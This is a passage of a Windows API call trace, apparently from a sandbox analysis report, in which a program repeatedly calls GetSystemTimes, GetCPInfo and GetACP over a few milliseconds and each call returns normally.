lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.025] GetACP () returned 0x4e4 [0048.025] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.026] GetACP () returned 0x4e4 [0048.026] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.027] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.027] GetACP () returned 0x4e4 [0048.027] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.028] GetACP () returned 0x4e4 [0048.028] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.028] GetACP () returned 0x4e4 [0048.028] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.028] GetACP () returned 0x4e4 [0048.028] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.028] GetACP () returned 0x4e4 [0048.028] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.032] GetACP () returned 0x4e4 [0048.032] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.032] GetACP () returned 0x4e4 [0048.032] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.032] GetACP () returned 0x4e4 [0048.032] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.032] GetACP () returned 0x4e4 [0048.032] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.033] GetACP () returned 0x4e4 [0048.033] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.034] GetACP () returned 0x4e4 [0048.034] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.035] GetACP () returned 0x4e4 [0048.035] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.036] GetACP () returned 0x4e4 [0048.036] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0048.037] GetACP () returned 0x4e4 [0048.037] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0048.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 